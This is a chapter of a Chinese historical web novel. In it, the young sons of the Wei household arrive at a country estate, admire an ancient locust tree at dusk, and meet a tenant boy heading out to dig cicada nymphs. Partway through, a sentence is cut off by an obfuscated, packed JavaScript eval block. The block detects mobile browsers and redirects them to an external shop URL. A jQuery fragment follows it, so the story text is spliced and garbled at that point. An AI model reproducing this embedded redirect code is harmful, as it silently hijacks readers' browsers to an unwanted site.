37.韦庄行一
    车架到达新聚韦庄后,韦仁的小脸儿都是白白的,被石岩抱下车后,最开始走的那几步更是觉得大地在颤抖。

    韦世然也没比韦仁强多少,一边揉屁股一边和韦仁一起跑到赵氏和韦元茹身边:“阿母,大姊,你们怎么样?”

    赵氏和韦元茹的脸色比韦仁还强些,不过也不是很舒服就是了,这路真是太不好走了。

    韦元茹先行踏着脚凳下车,然后反身与阿珀一起将赵氏搀扶下牛车,这才看向两个弟弟没擦干净的脸和衣服,有些嫌弃:“我们都还好,倒是你们俩,这一路净听你们叫唤了。”

    赵氏看着自家两个儿子的形容,也是无奈:“让你们慢慢走,就是不听话。”转头看向立在一边的牛老汉,“牛伯,去准备沐浴用的热水。”

    牛老汉早已带着韦庄内的大小僮人在旁等候,闻言便上前对赵氏等人长揖行礼:“夫人、女郎君、四郎君、五郎君,房间已经打扫干净,热水也已准备好,随时能够沐浴。”

    赵氏颔首,对韦元茹姊弟三人说道:“先沐浴,然后去躺一会儿,或者在庄子里随便逛逛,不要走远,等你们阿翁到了,咱们就用晚食。”

    众人散开,韦仁和韦世然由牛老汉的第四子牛实领着,往韦庄给他们准备的房间走去。

    韦仁这时候才能好好打量韦庄,怎么说呢,大是真的大,能跑马的那种,但破……不能说破,但也比韦仁想象中的寒酸,最直观的就是,围墙都不是石砖的,而是由黄泥垒成的。

    韦世然没在意环境,他以前来过韦庄,只是没在这里过夜过,韦世然如今只关心他的野蕈:“牛实叔,有哪里能采野蕈吗?”

    “不敢,四郎君叫我牛实就行。”牛实在韦仁和韦世然身边领路,听到韦世然的问题,侧身躬腰答道,“东边那片林子里就有,四郎君若想采野蕈,明日卯时,我陪四郎君过去可好?”

    “那我明天早点起,我要采满一竹筐!”

    韦仁收回四处看的视线,跟着问:“我想钓鱼,哪段河好钓?”

    牛实有些为难地看着韦仁:“五郎君,现在是禁渔期……”

    韦世然:“什么是禁渔期?”

    “为了让鱼长大,有段时间不许捕鱼的。”向韦世然解释完,韦仁才看向牛实,“禁渔期不是五月到七月吗?”

    韦仁回答韦世然时过于顺溜,说到月份时更加笃定,搞得牛实有些茫然,不过他仔细想了想,再三确认里长就是上个月来说禁渔的事的,便将身子躬得更低了些,恨不能与韦仁平视:“五郎君,不知道其他地方是什么时候,新聚这里的禁渔期就是四月到六月。”

    韦仁不死心地嘟哝了一句:“阿母没说呀。”他是真想钓鱼的。

    牛实无辜地看着韦仁,也不知道怎么劝慰。

    韦世然提议:“五郎,你和我一起去林子里采野蕈吧?等鱼长大了你再去抓它们。”

    韦仁鼓了鼓腮帮子:“我起不来。”硬要起应该也行,但韦仁不愿意!

    韦世然眼睛一翻,给了弟弟一个评价:“你可真难伺候!”

    实际上,韦仁和韦世然都没等到第二天,当日就去了牛实口中的那片树林——

    韦玄成到达韦庄后,全家人一起用了晚食,那时天边还残留一线夕阳。

    韦世然吃完饭就缓过了劲儿,在外面过夜的兴奋感一下子上来,他实在不想一直呆在庄子里,但又不愿意一个人出门,就撺掇韦仁和他一起去聚里逛逛。

    韦仁拗不过韦世然,而且他也有点儿想去看看他说的那棵两个人也抱不过来的大树长什么样,于是,最后就变成两个人一起去磨韦玄成和赵氏。

    韦玄成从鲁县骑马回来,可比两个儿子累得多,他实在不想动,赵氏更不可能在这时候出门,但兄弟二人一个给韦玄成捶腿,一个给赵氏捏肩,夫妻二人实在扛不住儿子们的殷勤大法,最后,韦玄成只得把两个小的托付给许靖:“别人我不放心,你带他们俩随便走走吧。”

    赵氏也说:“麻烦许先生。”然后叮嘱韦仁和韦世然,“听许先生的话,别回来太晚。”

    许靖觉得韦玄成和赵氏也是宠孩子没边儿,都说不放心了,干脆别让他们出去不就完了,而且这眼瞅着最多再有半个时辰就得天黑,能看什么呀?

    韦仁和韦世然可不管许靖的腹诽,听到父母允了,就一人拉着许靖的左手,一人拉着许靖的右手,一起把他拖出了韦庄。

    才一出韦庄,韦世然和韦仁就松开了许靖的手,撒了欢儿的小狗一样,一前一后地往韦世然印象里那棵大树跑去。

    聚里的路比外面的小道好一些,而且现在地面比早些时候也更干了一些,但韦仁和韦世然跑起来后,仍免不了泥点子飞溅。

    不过,泥点子是向后面飞的,遭殃的只有二人的后背以及跟在他们身后的沈决明、石岩和牛实三人,至于许靖,他非常有先见之明地坠在了泥点子飞跃不到的距离。

    大树与韦庄的直线距离不到一里,不过因为中间隔了几个院子,韦仁看到它时,二者距离已经不足五丈,那矗立在暮色中的高大树影令韦仁倍感震撼,说什么两人环抱,韦世然说得也太保守了!

    韦仁跑到槐树跟前,围着槐树走了一圈儿,又抬手在它粗糙的树干上摩挲了两下:“不知道它几岁了?”韦仁曾经旅游时见过一棵据说有两千年树龄的古槐,再看看这棵年龄看似也不短的槐树,有些亲切,又隐隐生出些怅惘。

    韦世然也仰着头看着郁郁葱葱的树冠:“肯定很大了,没准儿比我还大呢。”

    跟着过来的牛实同样抬头看着这棵古槐,眼睛里带着隐隐的骄傲:“听聚里的老人说,这树在高祖时就在了。”

    韦世然惊讶的睁大眼睛:“那它比阿公还大!”韦世然拉着韦仁的手,“五郎,咱们量量它!”

    韦仁和韦世然两个人根本环不住,最后加上沈决明和半个石岩才能完全环抱住这棵古槐。

    牛实见韦世然和韦仁很喜欢这棵槐树的样子,笑着说:“两位郎君若两个月后过来,就能看到满树花开,一串一串的白色小花,特别好看,还很香。”

    韦仁在心里补充道:全树都能入药,叶子也能吃,嗯,真是棵好树!

    韦仁的小手有些蠢蠢欲动,很想薅些叶子下来明天让厨房做冷面吃,不过看了看那巨大的树冠,韦仁手指来回搓了搓,最终按捺住了心底的冲动。

    韦世然此时已经回答牛实的话:“它快开花时,你来告诉我们,我们就来看它!”

    牛实连忙应道:“是,奴婢一定记得。”

    韦仁觉得继续站在这里,他一定会忍不住让沈决明爬上去给他薅些叶子下来,便转过头看向牛实,问道:“聚里还有什么好看的景色吗?”

    牛实挠了挠脑袋,憨笑道:“奴婢觉得那些麦苗就特别好看,一大片,绿的,风一吹,特别好看。”

    听牛实连用两个“特别好看”,就知道他说得是真心话,韦仁忍不住乐了:“那就去看看?”

    “咱家的地在南边。”他们之前是往东边走的,现在去韦家的田地,一是要走回头路,二是可能时间上赶不及。

    “那算了,本来就是随便看看的,看别人家的也成。”韦仁看向韦世然,“大兄,咱们往前面走走看?”

    “走!”韦世然指着前方,“我记得新聚的河就在那边。”

    “四郎君好记性,河就在那边,过了河再走一小段路就是咱们明天要去的林子。”

    牛实领路,一行人索性就往河边走去。

    新聚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292069|138206||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的夜晚静谧又吵杂,静谧是因为除了他们这群闲逛的人外,只能偶尔从敞开的院门前看到在院子里活动的乡人,路上几乎看不到人了,吵杂是因为缠绵不断的虫鸣以及偶尔响起的犬吠声。

    韦世然很快察觉出这种不同于县城的“寂静”,好奇地问:“牛实,他们怎么都不出来玩儿呀?天还没黑呢。”

    牛实抬头看看天:“也快了,乡下人睡得早。”牛实随意指了一户人家,“四郎君,你看那些院门已经关上的人家,应该已经睡下了。”

    牛实的手都还没放下,他指着的那家隔壁院子的院门就打开了。

    一个背着背篓的少年跨出院门后反身关上院门,之后竟还掏出一根绳子将院门从外面栓住。

    少年栓完门,才转过身就看到了韦仁这一大群人,被吓了一跳,看到牛实后,少年才松了口气,连忙跑过来打招呼:“牛四叔!”

    牛实蹙着眉:“谷大郎,这么晚了,你不睡觉,这是要去哪儿?”

    谷元似是有些难以启齿,支支吾吾了半天才含糊地说道:“我去林子里挖点儿吃的。”

    “挖什么东西要这个时候去?就你一个人,要是遇到野猪或者蛇怎么办?就是没遇见,一会儿天就黑了,也容易摔跤。”

    “那东西就这时候出来,牛四叔,你放心吧,我、我不往里面去,就在外面一圈儿。”

    牛实看起来和谷元很熟悉,听他说了半天也说不清,就怒了,完全不顾场合就开始教训谷元:“我怎么放心?你也不小了,不知道轻重吗?什么东西值得你一个人大晚上去挖,你不想想你自己,你也得想想你大母!你……”

    韦仁和韦世然站着听了一会儿,见牛实完全没有停下来的意思,韦世然先没忍住,瞅着牛实停顿的一个空挡,插嘴问道:“牛实,要不咱们一边走,你再一边说他?”

    才说得上头的牛实像是被突然掐住脖子的老母鸡,忙躬身向韦仁作揖,干脆利落地请罪道:“奴婢无状,请郎君宽恕。”

    韦世然有些不太习惯牛实这个做派,摇了摇手:“没事。”

    牛实自己赔礼后,想起还没给韦世然和韦仁介绍谷元,探手揪住谷元的后衣领,就把谷元拎到了二人面前:“这是家主的两位郎君,快请安。四郎君、五郎君,他叫谷元,是咱家的佃户。”

    谷元二话没说,跪到地上就给韦仁和韦世然“砰砰”磕了两个头:“请、请郎君安。”话音未落,谷元背后的竹篓里的竹筒和铲子就滑了出来,挨个儿砸到了他的后脑勺上。

    韦仁和韦世然同时看向牛实,牛实会意,上前一步拉起谷大郎:“你作揖就行,不用磕头的。”

    谷元连忙又冲着韦仁和韦世然作揖,那真是一揖到底,脑门都磕到膝盖上了:“请郎君安!”

    这回倒没有竹筒和木铲之类的东西掉出来,而是整个竹篓滑了下来,直接扣在了谷元的头上。

    韦世然被谷元这架势给唬得一愣一愣的,半天憋出一句:“……你可真有礼貌。”

    韦仁憋笑。

    韦世然看着散落在地的竹筒和木铲,捡起距离他比较近的铲子和其中一个竹筒:“你去林子里挖什么呀?”

    韦仁也跟着捡起了滚到他脚边的几个竹筒,竹筒有些分量,里面多半盛了水。

    兄弟两个把木铲和竹筒分别递还给谷元,谷元受宠若惊地接过,结结巴巴地回答:“我、我去挖结了龟。”

    韦世然茫然:“结了龟是什么龟?和乌龟像吗?龟不是在水里的吗?林子里也有?”

    韦世然一串儿问题砸下去,把谷元给砸懵了。

    韦仁也没听过“结了龟”这个叫法,不过已经有所猜测,眼神灿亮地问道:“谷元,你说的不会是蝉吧?现在就有了?带上我们呗!”